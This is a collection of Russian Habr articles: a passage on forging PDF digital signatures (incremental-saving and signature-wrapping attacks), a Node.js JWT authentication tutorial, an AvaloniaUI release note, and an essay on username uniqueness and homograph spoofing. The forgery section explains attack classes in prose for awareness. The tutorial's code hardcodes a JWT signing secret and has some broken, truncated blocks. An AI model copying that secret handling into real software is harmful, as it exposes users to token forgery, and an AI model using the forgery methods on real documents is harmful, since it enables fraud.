Добавление цифровой подписи в PDF-документ полагается на механизм инкрементального сохранения (см. рис. 1). При добавлении подписи во время инкрементального сохранения в документ добавляется следующий контент:
* новый *Catalog* с новый параметром *Perms*, который определяет разрешения на изменение документа; этот параметр ссылается на объект *Signature*;
* объект *Signature* (`5 0 obj`) с информацией о криптографических алгоритмах, использованных для хэширования и подписи документа, с параметром `Contents`, который содержит hex-кодированный блоб PKCS7 — в нём хранятся сертификаты и значение подписи, созданной с помощью приватного ключа, который соответствует открытому ключу в сертификате. Параметр `ByteRange` определяет, какие байты PDF-файла используются на входе функции хэширования для вычисления подписи (пары `a, b` и `c, d`), то есть какая часть файла подписывается;
* новая таблица *Xref* со ссылкой на новый объект;
* новый *Trailer*.
На рис. 3 приведена упрощённая схема PDF-файла с цифровой подписью.
*Рис. 3. Упрощённая схема PDF-файла с цифровой подписью*
Согласно текущим спецификациям, *рекомендуется* подписывать весь файл, за исключением блоба PKCS7.
Проверку подписи осуществляет приложение, в котором открывается PDF-документ. Оно сразу извлекает подпись из PDF и применяет криптографические операции для проверки её корректности, а затем проверят, можно ли доверять сертификату X.509, ключи которого использовались для подписи.
Что характерно, все приложения для чтения PDF не доверяют встроенному в операционную систему хранилищу ключей. Как и браузер Firefox, они распространяют собственное хранилища ключей и обычно позволяют пользователю указать хранилище с доверенными сертификатами. Эта функция позволяет доверять только определённым сертификатам, например, от собственного центра сертификации.
Подделка цифровой подписи
=========================
Исследователи описывают три способа подделки с изменением содержимого подписанных PDF-документов.
* универсальная подделка подписи (Universal Signature Forgery, USF);
* атака на инкрементальное сохранение (Incremental Saving Attack, ISA);
* атака на обёртку подписи (Signature Wrapping Attack, SWA).
#### Универсальная подделка подписи (USF)
Атака USF предусматривает **отключение проверки подписи** в приложении, которое открывает PDF. При этом пользователю выводится нормальное сообщение об успешной валидации подписи. Это делается с помощью манипуляции объектом *Signature* в документе: или внутри этого документа создаётся некорректная запись, или из файла удаляется ссылка на сам объект. Хотя программа просмотра PDF не может проверить корректность подписи, но в некоторых случаях программа всё равно показывает её наличие, что удовлетворяет целям злоумышленника.
Исследователи сформулировали 18 векторов атаки USF, восемь из них показаны на рис. 4.
*Рис. 4. Восемь вектором атаки для обхода проверки цифровой подписи*
Все эти способы работают в том случае, если программа просмотра PDF неправильно осуществляет проверку цифровой подписи.
#### Атака на инкрементальное сохранение (ISA)
Этот класс атак заключается в переопределении структуры и контента в добавочной секции документа. Идея в том, что подпись вычисляется на основе диапазона байтов, указанного в `ByteRange`, а добавочная секция не попадает в этот диапазон, как показано на рис. 5.
*Рис. 5. При добавлении контента в добавочную секцию не нарушается цифровая подпись*
Есть несколько способов, как обойти проверку на изменение документа и блокировать показ соответствующего предупреждения в программе просмотра PDF-документов.
#### Атака на обёртку подписи (SWA)
Наконец, последний класс атак позволяет обойти проверку подписи без инкрементального сохранения, а путём перемещения подписанной части PDF в конец документа и повторного использования указателя `xref` в подписанном *Trailer* на изменённую таблицу Xref. При этом чтобы избежать обработки перемещённой части, она может быть обёрнута в какой-нибудь посторонний объект, например, *stream* или *dictionary*.
*Рис. 6. Сравнение оригинального и изменённого документов PDF*
Эффективность атак
==================
Исследователи проверили эффективность каждого типа атаки в разных программах для просмотра PDF. Не удалось обмануть только **Adobe Reader 9 под Linux**. Во всех остальных программах проверка подписи обходится одним или несколькими способами.
[](https://habrastorage.org/webt/tt/c5/k7/ttc5k7alzx8w75elkxwj0fk15uo.png)
Не лучше ситуация и с сервисами онлайновой проверки цифровой подписи PDF.
[](https://habrastorage.org/webt/kw/4b/gw/kw4bgwwg7rpbtu7ie5bjaa1lklk.png) | https://habr.com/ru/post/442066/ | null | ru | null |
# Руководство по аутентификации в Node.js без passport.js и сторонних сервисов
Автор статьи, перевод которой мы сегодня публикуем, говорит, что сейчас можно наблюдать рост популярности таких сервисов аутентификации, как Google Firebase Authentication, AWS Cognito и Auth0. Индустриальным стандартом стали универсальные решения наподобие passport.js. Но, учитывая сложившуюся ситуацию, обычным явлением стало то, что разработчики никогда в полной мере не понимают того, какие именно механизмы принимают участие в работе систем аутентификации.
Этот материал посвящён проблеме организации аутентификации пользователей в среде Node.js. В нём на практическом примере рассмотрена организация регистрации пользователей в системе и организация их входа в систему. Здесь будут подняты такие вопросы, как работа с технологией JWT и имперсонация пользователей.
[](https://habr.com/ru/company/ruvds/blog/457700/)
Кроме того, обратите внимание на [этот](https://github.com/santiq/nodejs-auth) GitHub-репозиторий, в котором содержится код Node.js-проекта, некоторые примеры из которого приведены в этой статье. Этот репозиторий вы можете использовать в качестве основы для собственных экспериментов.
Требования к проекту
--------------------
Вот требования к проекту, которым мы будем здесь заниматься:
* Наличие базы данных, в которой будет храниться адрес электронной почты пользователя и его пароль, либо — clientId и clientSecret, либо — нечто вроде комбинации из приватного и публичного ключей.
* Использование сильного и эффективного криптографического алгоритма для шифрования пароля.
В тот момент, когда я пишу этот материал, я считаю, что лучшим из существующих криптографических алгоритмов является Argon2. Я прошу вас не использовать простые криптографические алгоритмы вроде SHA256, SHA512 или MD5.
Кроме того, предлагаю вам взглянуть на [этот](https://medium.com/@mpreziuso/password-hashing-pbkdf2-scrypt-bcrypt-and-argon2-e25aaf41598e) замечательный материал, в котором вы можете найти подробности о выборе алгоритма для хэширования паролей.
Регистрация пользователей в системе
-----------------------------------
Когда в системе создаётся новый пользователь, его пароль необходимо хэшировать и сохранить в базе данных. Пароль в базе сохраняют вместе с адресом электронной почты и другими сведениями о пользователе (например, среди них может быть профиль пользователя, время регистрации и так далее).
```
import * as argon2 from 'argon2';
class AuthService {
public async SignUp(email, password, name): Promise {
const passwordHashed = await argon2.hash(password);
const userRecord = await UserModel.create({
password: passwordHashed,
email,
name,
});
return {
// Никогда не передавайте куда-либо пароль!!!
user: {
email: userRecord.email,
name: userRecord.name,
},
}
```
Данные учётной записи пользователя должны выглядеть примерно так, как показано ниже.
*Данные пользователя, полученные из MongoDB с помощью Robo3T*
Вход пользователей в систему
----------------------------
Вот как выглядит схема действий, выполняемых в том случае, когда пользователь пытается войти в систему.
*Вход пользователя в систему*
Вот что происходит при входе пользователя в систему:
* Клиент отправляет серверу комбинацию, состоящую из публичного идентификатора и приватного ключа пользователя. Обычно это — адрес электронной почты и пароль.
* Сервер ищет пользователя в базе данных по адресу электронной почты.
* Если пользователь существует в базе данных — сервер хэширует отправленный ему пароль и сравнивает то, что получилось, с хэшем пароля, сохранённым в базе данных.
* Если проверка оказывается успешной — сервер генерирует так называемый токен или маркер аутентификации — JSON Web Token (JWT).
JWT — это временный ключ. Клиент должен отправлять этот ключ серверу с каждым запросом к аутентифицированной конечной точке.
```
import * as argon2 from 'argon2';
class AuthService {
public async Login(email, password): Promise {
const userRecord = await UserModel.findOne({ email });
if (!userRecord) {
throw new Error('User not found')
} else {
const correctPassword = await argon2.verify(userRecord.password, password);
if (!correctPassword) {
throw new Error('Incorrect password')
return {
user: {
email: userRecord.email,
name: userRecord.name,
},
token: this.generateJWT(userRecord),
}
```
Верификация пароля производится с использованием библиотеки argon2. Это делается для предотвращения так называемых «[атак по времени](https://en.wikipedia.org/wiki/Timing_attack)». При выполнении такой атаки злоумышленник пытается взломать пароль методом грубой силы, основываясь на анализе того, сколько времени нужно серверу на формирование ответа.
Теперь давайте поговорим о том, как генерировать JWT.
Что такое JWT?
--------------
JSON Web Token (JWT) — это закодированный в строковой форме JSON-объект. Токены можно воспринимать как замену куки-файлов, имеющую несколько преимуществ перед ними.
Токен состоит из трёх частей. Это — заголовок (header), полезная нагрузка (payload) и подпись (signature). На следующем рисунке показан его внешний вид.
*JWT*
Данные токена могут быть декодированы на стороне клиента без использования секретного ключа или подписи.
Это может быть полезным для передачи, например метаданных, закодированных внутри токена. Подобные метаданные, могут описывать роль пользователя, его профиль, время действия токена, и так далее. Они могут быть предназначены для использования во фронтенд-приложениях.
Вот как может выглядеть декодированный токен.
*Декодированный токен*
Генерирование JWT в Node.js
---------------------------
Давайте создадим функцию `generateToken`, которая нужна нам для завершения работы над сервисом аутентификации пользователей.
Создавать JWT можно с помощью библиотеки jsonwebtoken. Найти эту библиотеку можно в npm.
```
import * as jwt from 'jsonwebtoken'
class AuthService {
private generateToken(user) {
const data = {
_id: user._id,
name: user.name,
email: user.email
};
const signature = 'MySuP3R_z3kr3t';
const expiration = '6h';
return jwt.sign({ data, }, signature, { expiresIn: expiration });
}
```
Самое важное здесь — это закодированные данные. Не отправляйте в токенах секретную информацию о пользователях.
Подпись (здесь — константа `signature`) — это секретные данные, которые используются для генерирования JWT. Очень важно следить за тем, чтобы подпись не попала в чужие руки. Если подпись окажется скомпрометированной — атакующий сможет генерировать токены от имени пользователей и красть их сессии.
Защита конечных точек и проверка JWT
------------------------------------
Теперь клиентскому коду нужно отправлять JWT в каждом запросе к защищённой конечной точке.
Рекомендуется включать JWT в заголовки запросов. Обычно их включают в заголовок Authorization.
*Заголовок Authorization*
Теперь, на сервере, нужно создать код, представляющий собой промежуточное ПО для маршрутов express. Поместим этот код в файл `isAuth.ts`:
```
import * as jwt from 'express-jwt';
// Мы исходим из предположения о том, что JWT приходит на сервер в заголовке Authorization, но токен может быть передан и в req.body, и в параметре запроса, поэтому вам нужно выбрать тот вариант, который подходит вам лучше всего.
const getTokenFromHeader = (req) => {
if (req.headers.authorization && req.headers.authorization.split(' ')[0] === 'Bearer') {
return req.headers.authorization.split(' ')[1];
}
export default jwt({
secret: 'MySuP3R_z3kr3t', // Тут должно быть то же самое, что использовалось при подписывании JWT
userProperty: 'token', // Здесь следующее промежуточное ПО сможет найти то, что было закодировано в services/auth:generateToken -> 'req.token'
getToken: getTokenFromHeader, // Функция для получения токена аутентификации из запроса
})
```
Полезно иметь возможность получать полные сведения об учётной записи пользователя из базы данных и присоединять их к запросу. В нашем случае эта возможность реализуется средствами промежуточного ПО из файла `attachCurrentUser.ts`. Вот его упрощённый код:
```
export default (req, res, next) => {
const decodedTokenData = req.tokenData;
const userRecord = await UserModel.findOne({ _id: decodedTokenData._id })
req.currentUser = userRecord;
if(!userRecord) {
return res.status(401).end('User not found')
} else {
return next();
}
```
После реализации этого механизма маршруты смогут получать сведения о пользователе, который выполняет запрос:
```
import isAuth from '../middlewares/isAuth';
import attachCurrentUser from '../middlewares/attachCurrentUser';
import ItemsModel from '../models/items';
export default (app) => {
app.get('/inventory/personal-items', isAuth, attachCurrentUser, (req, res) => {
const user = req.currentUser;
const userItems = await ItemsModel.find({ owner: user._id });
return res.json(userItems).status(200);
})
```
Теперь маршрут `inventory/personal-items` защищён. Для доступа к нему пользователь должен иметь валидный JWT. Маршрут, кроме того, может использовать сведения о пользователе для поиска в базе данных необходимых ему сведений.
Почему токены защищены от злоумышленников?
------------------------------------------
Почитав об использовании JWT, вы можете задаться следующим вопросом: «Если данные JWT могут быть декодированы на стороне клиента — можно ли так обработать токен, чтобы изменить идентификатор пользователя или другие данные?».
Декодирование токена — операция очень простая. Однако нельзя «переделать» этот токен, не имея той подписи, тех секретных данных, которые были использованы при подписывании JWT на сервере.
Именно поэтому так важна защита этих секретных данных.
Наш сервер проверяет подпись в промежуточном ПО isAuth. За проверку отвечает библиотека express-jwt.
Теперь, после того, как мы разобрались с тем, как работает технология JWT, поговорим о некоторых интересных дополнительных возможностях, которые она нам даёт.
Как имперсонировать пользователя?
---------------------------------
Имперсонация пользователей — это техника, используемая для входа в систему под видом некоего конкретного пользователя без знания его пароля.
Эта возможность весьма полезна для супер-администраторов, разработчиков или сотрудников служб поддержки. Имперсонация позволяет им решать проблемы, которые проявляются только в ходе работы пользователей с системой.
Работать с приложением от имени пользователя можно и не зная его пароля. Для этого достаточно сгенерировать JWT с правильной подписью и с необходимыми метаданными, описывающими пользователя.
Создадим конечную точку, которая может генерировать токены для входа в систему под видом конкретных пользователей. Этой конечной точкой сможет пользоваться только супер-администратор системы.
Для начала нам нужно назначить этому пользователю роль, с которой связан более высокий, чем у других пользователей, уровень привилегий. Это можно сделать множеством различных способов. Например, достаточно просто добавить поле `role` в сведения о пользователе, хранящиеся в базе данных.
Выглядеть это может так, как показано ниже.
*Новое поле в сведениях о пользователе*
Значением поля `role` супер-администратора будет `super-admin`.
Далее, надо создать новое промежуточное ПО, которое проверяет роль пользователя:
```
export default (requiredRole) => {
return (req, res, next) => {
if(req.currentUser.role === requiredRole) {
return next();
} else {
return res.status(401).send('Action not allowed');
}
```
Оно должно быть помещено после isAuth и attachCurrentUser. Теперь создадим конечную точку, которая генерирует JWT для пользователя, от имени которого супер-администратор хочет войти в систему:
```
import isAuth from '../middlewares/isAuth';
import attachCurrentUser from '../middlewares/attachCurrentUser';
import roleRequired from '../middlwares/roleRequired';
import UserModel from '../models/user';
export default (app) => {
app.post('/auth/signin-as-user', isAuth, attachCurrentUser, roleRequired('super-admin'), (req, res) => {
const userEmail = req.body.email;
const userRecord = await UserModel.findOne({ email: userEmail });
if(!userRecord) {
return res.status(404).send('User not found');
return res.json({
user: {
email: userRecord.email,
name: userRecord.name
},
jwt: this.generateToken(userRecord)
})
.status(200);
})
```
Как видите, тут нет ничего таинственного. Супер-администратор знает адрес электронной почты пользователя, от имени которого нужно войти в систему. Логика работы вышеприведённого кода очень напоминает то, как работает код, обеспечивающий вход в систему обычных пользователей. Главное отличие заключается в том, что здесь не производится проверка правильности пароля.
Пароль тут не проверяется из-за того, что он здесь просто не нужен. Безопасность конечной точки обеспечивается промежуточным ПО.
Итоги
-----
Нет ничего плохого в том, чтобы полагаться на сторонние сервисы и библиотеки аутентификации. Это помогает разработчикам экономить время. Но им необходимо ещё и знать о том, на каких принципах основана работа систем аутентификации, о том, что обеспечивают функционирование таких систем.
В этом материале мы исследовали возможности JWT-аутентификации, поговорили о важности выбора хорошего криптографического алгоритма для хэширования паролей. Мы рассмотрели создание механизма имперсонации пользователей.
Сделать то же самое с помощью чего-то вроде passport.js далеко не так просто. Аутентификация — это огромная тема. Возможно, мы к ней ещё вернёмся.
**Уважаемые читатели!** Как вы создаёте системы аутентификации для своих Node.js-проектов?
[](https://ruvds.com/news/read/104) | https://habr.com/ru/post/457700/ | null | ru | null |
# Релиз кросс-платформенного .NET UI-тулкита AvaloniaUI 0.9
Avalonia — кроссплатформенный .NET UI-тулкит с открытым исходным кодом, вдохновлённый технологиями WPF и UWP. Он полностью поддерживает Windows, macOS и Linux, .NET Core 2.0-3.1, XAML, дата-биндинги, lookless-контролы и многое другое.
(на ВДПВ показана работа без XOrg)
Версия 0.9 стала большим обновлением с набором давно ожидаемых фич: компилируемый XAML, поддержка глобальных меню, возможность плавной прокрутки виртуализированных списков с элементами произвольного размера, поддержкой сенсорного ввода и ещё кое-чем.
За подробностями прошу под кат.
Компилируемый XAML
==================
В прошлых версиях парсинг XAML происходил во время выполнения приложения. Этот подход имел ряд недостатков:
* медленно
* программа компилируется без ошибок, а потом не работает (QML, я смотрю на тебя)
* используемый парсер выдавал невразумительные ошибки типа "The value of 'Content' property is null" при опечатке в названии контрола.
Наш новый компилятор всё парсит во время компиляции и перегоняет прямо в MSIL. Можно даже посмотреть на хелловорлд декомпилятором и увидеть что-то типа этого:
Декомпилятор, кстати, [тоже работает на авалонии](https://github.com/icsharpcode/AvaloniaILSpy/).
За счёт этого получилось выкинуть уйму обращений к рефлексии, за счёт чего запуск приложения стал турбореактивным. Только наш каталог контролов после перехода на компилятор стал запускаться на 40% быстрее.
Когда проверки во время компиляции не помогли (например, что-то развалилось в конвертере), вы можете смотреть на нормальные стектрейсы ошибок с указанием строки в XAML-файле. Ну и вообще походить отладчиком по XAML-у, если интересно:
Глобальные меню в macOS и Linux
===============================
На маках приложения меню внутри окна обычно не рисуют, поскольку наверху экрана есть глобальная строка меню для всех. На ряде десктопных окружений Linux (Unity, KDE с поставленной галкой в настройках, vala-panel-appmenu) так же доступна схожая возможность.
В Avalonia появилась поддержка таких меню, в коде выглядят они примерно так:
```
```
Не пугайтесь `CMD+Q`, оно на не-маке смаппится на `Control+Q. Это теперь такой синоним для платформозависимого модификатора "Command".
Чтобы людям не заниматься копипастой такой же структуры в "обычное" меню для "традиционных" платформ мы так же завезли контрол , который можно положить туда, где это самое меню должно быть. Ну а контрол уже сам заберёт все этим NativeMenu и сам разберётся, надо ли его рисовать или система справится.
*меню окна в глобальном баре на макоси*
Так же на macOS есть особенность — у приложения есть пункт меню с именем приложения. Там обычно находятся элементы, глобальные для всего приложения типа настроек. Мы, чтобы пользователи не удивлялись, это меню генерируем по-умолчанию:
*дефолтное содержание меню приложения*
Ну а кастомизировать его надо в вашем App.xaml:
```
```
Соответственно, у `Application` теперь есть свой собственный `DataContext`, в который можно положить вьюмодель. Ну чтобы было куда биндиться.
На Linux, ввиду его общей, кхм, разнородности, данная опция по-умолчанию выключена и может быть включена посредством:
```
.With(new X11PlatformOptions
{
UseDBusMenu = true
})
```
Я лично тестировал на Unity и в KDE на Ubuntu 18.04, но кто ж его знает, как оно в других дистрах.
Managed-реализации файловых диалогов
====================================
Если по каким-то причинам не хочется использовать нативные диалоги (например, не хочется тащить в embedded-систему цельнотянутый GTK), теперь можно воспользоваться реализованными на самой авалонии:
Весь API тот же самый, просто надо включить в AppBuilder-е:
```
AppBuilder.Configure()
.UsePlatformDetect()
.UseManagedSystemDialogs();
```
Если хочется положить диалоги в кастомное окно (рамочку там свою нарисовать, например, цвета застилизовать), то делается это так:
```
.UseManagedSystemDialogs();
```
ItemsRepeater
=============
Из UWP был портирован [`ItemsRepeater`](https://docs.microsoft.com/en-us/windows/uwp/design/controls-and-patterns/items-repeater). Данный контрол позволяет делать высокопроизводительные виртуализированные списки с элементами разных размеров и плавной прокруткой. Layout при этом контролируется отдельно от контрола посредством системы [Attached Layouts](https://docs.microsoft.com/en-us/windows/uwp/design/layout/attached-layouts).
В дальнейшем мы планируем перевести на него вообще все списочные контролы, ну а пока можно брать и пользоваться в своих приложениях там, где оно вам нужно.
Импорт Grid and GridSplitter из WPF
===================================
Продолжаем портировать контролы из теперь-уже-почти-скоро-может-быть-целиком-совсем-совсем-опенсорсного WPF. Из уже опенсорсных его частей.
В этот раз перетащили такую фундаментальную штуку как Grid, вместе со всеми его SharedSizeGroup-ами и GridSplitter-ом. Так что теперь тот код, что работал в WPF будет работать в авалонии так же, а не "вообще так же, но ...".
Оптимизации производительности
==============================
Над ними произведена большая работа. В основном по выкорчёвыванию LINQ отовсюду и ненужных аллокаций из самых неожиданных мест. Так что на Raspberry Pi у нас теперь анимации выдают FPS, а не SPF.
KMS/DRM/GBM/libinput на линуксе
===============================
То, что показано на [видео](https://www.youtube.com/watch?v=t8Ww17iPdqs) перед катом. Мы теперь умеем использовать ту же самую инфраструктуру, на базе которой работают новые более лучшие дисплейные менеджеры, которые понемногу приходят на замену Xorg. Что позволяет нам работать без дисплейного менеджера вообще, прямо поверх линуксового ядра да ещё и с аппаратным ускорением через OpenGL.
Эта функция даёт вам возможность делать системы-"киоски", в которых запущен только ядро Linux и ваше приложение.
Поддержка сенсорного ввода
==========================
Пока что выключена по-умолчанию, но при наличии сенсорного экрана может быть включена через добавление следующего кода в ваш AppBuilder:
```
.With(new X11PlatformOptions
{
EnableMultiTouch = true
})
.With(new Win32PlatformOptions
{
EnableMultitouch = true
})
```
Если раньше сенсорный ввод обрабатывался как эмулируемая операционной системой мышь, то теперь мы перешли на UWPшную модель pointer events с отдельным "указателем" на каждый контакт с сенсорной поверхностью. Так же завезли базовую поддержку распознавателей жестов, на которой сделали поддержку скроллинга пальцем.
Весенние видео с первыми демонстрациями:
Production Ready
================
У нас постоянно спрашивают "а пригодно ли для продакшна?", "а когда 1.0?". Да, пригодно. 1.0 будет, согласно модели [SemVer](https://semver.org/), когда перестанем каждую версию по чуть-чуть менять API (ну или можем перейти на браузерную модель версионирования и через пару лет будет "состоялся релиз AvaloniaUI 71").
В настоящий момент есть несколько приложений на AvaloniaUI с большими пользовательскими базами. Мы знаем о ряде коммерческих приложений, портируемых на AvaloniaUI. Командам всех этих проектов мы хотим сказать спасибо за неоценимую помощь в тестировании этого релиза.
Ввиду подобного активного использования, мы переходим на новую модель поддержки релизов. Ветка 0.9 будет поддерживаться багфиксами и бекпортированием критических изменений вплоть до выхода следующей версии.
Так же со следующего года будет доступна техническая поддержка на коммерческой основе. Это не потому, что мы жадные, это потому, что на энтузиазме и "в свободное после работы время" далеко не уедешь и нужны разработчики на full-time. Условия пока вырабатываются, что если вам интересно или есть что-то срочное, то пишите на team@avaloniaui.net
Как начать пользоваться
=======================
Есть достаточно [подробный туториал](http://avaloniaui.net/docs/quickstart/) на английском. Для знакомых с WPF/UWP разработчиков всё должно быть интуитивно и просто, есть [перечень](http://avaloniaui.net/docs/quickstart/from-wpf) наиболее важных отличий.
Благодарности
=============
Этот релиз стал возможен благодаря работе многих людей, в частности [grokys](https://github.com/grokys), [jkoritzinsky](https://github.com/jkoritzinsky), [kekekeks](https://github.com/kekekeks), [danwalmsley](https://github.com/danwalmsley), [jmacato](https://github.com/jmacato), [marchingcube](https://github.com/marchingcube), [wieslawsoltes](https://github.com/wieslawsoltes), [gillibald](https://github.com/gillibald) и многих других.
Лучший способ поддержать Avalonia — принять участие в разработке: реализовать фичу, починить баг или помочь в тестировании. См. страницу [Contributing](http://avaloniaui.net/contributing/contributing) | https://habr.com/ru/post/481102/ | null | ru | null |
# Поговорим о юзернеймах
Пару недель назад я выпустил [django-registration](https://www.b-list.org/projects/django-registration/) 2.4.1. Сборки 2.4.x станут последними в версии django-registration 2.x, дальше будут выходить только исправления багов. Основная ветка сейчас готовится к версии 3.0, откуда планируется удалить кучу устаревшего хлама, накопившегося за последнее десятилетие поддержки, и я постараюсь учесть лучшие практики современных приложений Django.
В ближайшее время напишу подробнее о новой версии, но именно сейчас хочу немного поговорить об обманчиво простой проблеме, с которой приходится иметь дело. Это имена пользователей. Да, я мог бы написать одну из популярных статеек типа [«Заблуждения программистов об X»](https://habrahabr.ru/post/146901/), но всё-таки предпочитаю реально объяснить, почему это сложнее, чем кажется, и предложить некоторые советы, как решить проблему. А не просто стебаться без полезного контекста.
Ремарка: правильный способ идентификации
========================================
Юзернеймы — в том виде, в каком они реализованы на многих сайтах и сервисах и во многих популярных фреймворках (включая Django) — почти наверняка неправильный способ решения той проблемы, которую с их помощью пытаются решить. Что нам действительно нужно в смысле идентификации пользователей, так это некоторая комбинация следующего:
1. Идентификатор системного уровня для внешних ключей в базе данных.
2. Идентификатор входа для выполнения проверки учётных данных.
3. Публичный идентификатор для отображения другим пользователям.
Многие системы запрашивают имя пользователя — и используют один и тот же юзернейм для всех трёх указанных задач. Вероятно, это неправильно. Более грамотный подход — это [трёхсторонний шаблон идентификации](http://habitatchronicles.com/2008/10/the-tripartite-identity-pattern/), в котором каждый идентификатор различен, а несколько идентификаторов входа и/или публичных идентификаторов могут быть связаны с одним системным идентификатором.
Многие проблемы и страдания при попытках построить и масштабировать систему аккаунтов вызваны игнорированием этой модели. Досадно большое количество хаков применяют в системах, которые *не поддерживают такой шаблон*, чтобы они выглядели и работали так, словно поддерживают его.
Так что если вы разрабатываете систему с нуля сейчас в 2018 году, я бы предложил взять эту модель и использовать в качестве основы. Сначала придётся немного потрудиться, но в будущем она обеспечит хорошую гибкость и сэкономит время, а однажды кто-нибудь может даже создать приемлемую универсальную реализацию для многоразового использования (конечно, я думал сделать такую для Django, а может когда-то и сделаю).
В остальной части этой статьи будем полагать, что вы используете более распространённую реализацию, в которой уникальное имя пользователя служит по крайней мере системным идентификатором и логином для входа в систему, а также, скорее всего, публичным идентификатором, который демонстрируется всем юзерам. И под «именем пользователя» я имею в виду по сути любой строковый идентификатор. Например, у вас могут быть юзернеймы как на форумах вроде Reddit или Hacker News или вы можете использовать адреса электронной почты, или какие-то другие уникальные строки. Неважно, вы всё равно вероятно используете *какую-то* уникальную строку. Значит, вам нужно знать о некоторых проблемах.
Добиться уникальности труднее, чем кажется
==========================================
Возможно, вы задаёте вопрос: насколько это сложно? Можно просто создать уникальную колонку в базе — и готово! Сделаем таблицу с пользователями в Postgres:
```
CREATE TABLE accounts (
id SERIAL PRIMARY KEY,
username TEXT UNIQUE,
password TEXT,
email_address TEXT
);
```
Вот наша таблица с пользователями и колонка с уникальными именами. Легко же!
Ну, это легко, пока мы не начнём думать о реальном применении. Если вы зарегистрированы как `john_doe`, что произойдет, если я зарегистрируюсь как `JOHN_DOE`? Это другой юзернейм, но могу ли я заставить людей думать, что я — это вы? Будут ли люди принимать мои запросы на добавление в друзья и делиться со мной конфиденциальной информацией, потому что они не осознают, что для компьютера разный регистр — это разные символы?
Это простая вещь, которая неправильно реализована во многих системах. Во время исследования для этой статьи я обнаружил, что система auth в Django не обеспечивает уникальность имен пользователей без учёта регистра, несмотря на правильный подход в реализации многих других вещей. В баг-трекере есть тикет на то, чтобы сделать юзернеймы нечувствительными к регистру, но теперь он помечен как WONTFIX, потому что создание юзернеймов без учёта регистра в массовом порядке поломает обратную совместимость — и никто не уверен, как это сделать и нужно ли делать вообще. Вероятно, я подумаю о принудительном применении этого в django-registration 3.0, но не уверен, что это можно реализовать даже там — проблемы начнутся на любом сайте, где уже существуют учётные записи, учитывающие регистр.
Так что если соберётесь сегодня строить систему с нуля, то нужно с самого начала делать проверки на уникальность имени пользователей без учёта регистра: `john_doe`, `John_Doe` и `JOHN_DOE` следует считать одинаковыми именами. Как только один из них зарегистрирован, остальные становятся недоступными.
Но это только начало. Мы живем в мире Юникода, а здесь сравнить два имени на совпадение сложнее, чем просто выполнить операцию `username1 == username2`. Во-первых, существует композиция и декомпозиция символов. Они различаются при их сравнении как последовательностей кодовых точек Юникода, но на экране выглядят одинаково. Поэтому здесь нужно думать о [нормализации](https://habrahabr.ru/post/45489/), выбрать форму нормализации (NFC или NFD), а затем нормализовать каждый юзернейм до выбранной формы *прежде чем* выполнять какие-либо проверки уникальности.
*Иллюстрация из статьи [«Нормализация Unicode»](https://habrahabr.ru/post/45489/) — прим. пер.*
Также при разработке системы проверки уникальности имён без учёта регистра придётся рассмотреть символы, не входящие в ASCII. Считать ли идентичными юзернеймы `StraßburgJoe` и `StrassburgJoe`? Ответ часто зависит от того, делаете вы проверку с нормализацией в нижнем или верхнем регистре. И при этом есть ещё разные варианты декомпозиции в Юникоде; вы можете получить (и получите) разные результаты для многих строк в зависимости от того, используете каноническую эквивалентность или режим совместимости.
Если всё это сбивает с толку — а это так и есть, даже если вы эксперт по Юникоду! — рекомендую следовать [советам технического отчета Unicode Technical Report 36](http://www.unicode.org/reports/tr36/#Recommendations_General) и нормализовать имена по форме NFKC. Если вы используете `UserCreationForm` в Django или его подкласс (django-registration использует подклассы `UserCreationForm`), то это уже сделали для вас. Если используете Python, но без Django (или не применяете `UserCreationForm`), то это можно сделать в одну строку с помощью хелпера из стандартной библиотеки:
```
import unicodedata
username_normalized = unicodedata.normalize('NFKC', username)
```
Для других языков поищите хорошую библиотеку Юникода.
Нет, реально, добиться уникальности труднее, чем кажется
========================================================
К сожалению, это ещё не всё. Проверка уникальности без учёта регистра в нормализованных строках — это начало, но она не охватывает все случаи, которые нужно отловить. Например, рассмотрим следующее имя пользователя: `jane_doe`. Теперь рассмотрим другое имя пользователя: `jane_doe`. Это одно и то же имя пользователя?
В том шрифте, который я использую для этой статьи, и в любом шрифте, доступном для моего блога, они *кажутся* одинаковыми. Но для программного обеспечения они совершенно *разные*, и по-прежнему останутся разными после нормализации Юникода и сравнения без учёта регистра (независимо от того, выбрали вы проверку с нормализацией в нижнем или верхнем регистре).
Чтобы понять причину, обратите внимание на вторую кодовую точку. В одном из юзернеймов это `U+0061 LATIN SMALL LETTER A`. А в другом это `U+0430 CYRILLIC SMALL LETTER A`. И никакая нормализация Юникода или устранение чувствительности к регистру не сделает эти кодовые точки одинаковыми, хотя они часто визуально совершенно неразличимы.
Это основа гомографических атак, которые впервые получили широкую известность в контексте [интернационализированных доменных имён](https://en.wikipedia.org/wiki/IDN_homograph_attack). И для решения проблемы потребуется ещё немного поработать.
Для сетевых хостов одним из вариантов решения будет показ имён в представлении [Punycode](https://en.wikipedia.org/wiki/Punycode), созданном для решения именно этой проблемы путём отображения имён в любой кодировке, используя только символы ASCII. Возвращаясь к приведённым выше именам пользователей, так различия между ними становятся очевидными. Если хотите попробовать сами, вот однострочник на Python и результат на юзернейме с кириллическим символом:
```
>>> 'jаne_doe'.encode('punycode')
b'jne_doe-2fg'
```
(Если у вас проблемы с копипастом символов, не входящих в ASCII, то это имя можно выразить как строковый литерал `j\u0430ne_doe`).
Но отображать имена пользователей в таком виде на практике не годится. Конечно, можно каждый раз показывать Punycode, но это сломает отображение многих совершенно нормальных юзернеймов с символами не из в ASCII. Что мы на самом деле *хотим* — это отклонить вышеуказанное имя пользователя во время регистрации. Как это сделать?
Ну, на этот раз направляемся к техническому отчёту [Unicode Technical Report 39](http://www.unicode.org/reports/tr39/) и начинаем читать разделы 4 и 5. Наборы кодовых точек, которые отличаются друг от друга (даже после нормализации), но визуально идентичны или до смешения похожи при визуализации, называются «ведущими к путанице» (confusables), а Юникод предоставляет механизмы обнаружения таких кодовых точек.
Имя пользователя в нашем примере — это то, что в Юникоде именуется как «ведущая к путанице смесь алфавитов» (mixed-script confusable), и это то, что мы хотим обнаружить. Другими словами, имя пользователя полностью на латинском шрифте с «ведущими к путанице» символами, вероятно, можно считать нормальным. И полностью кириллическое имя пользователя с «ведущими к путанице» символами, вероятно, тоже можно считать нормальным. А вот если имя составлено преимущественно из латинских символов плюс единственная кириллическая кодовая точка, которая при визуализации оказалась до смешения похожа на символ латиницы… то это уже не пройдёт.
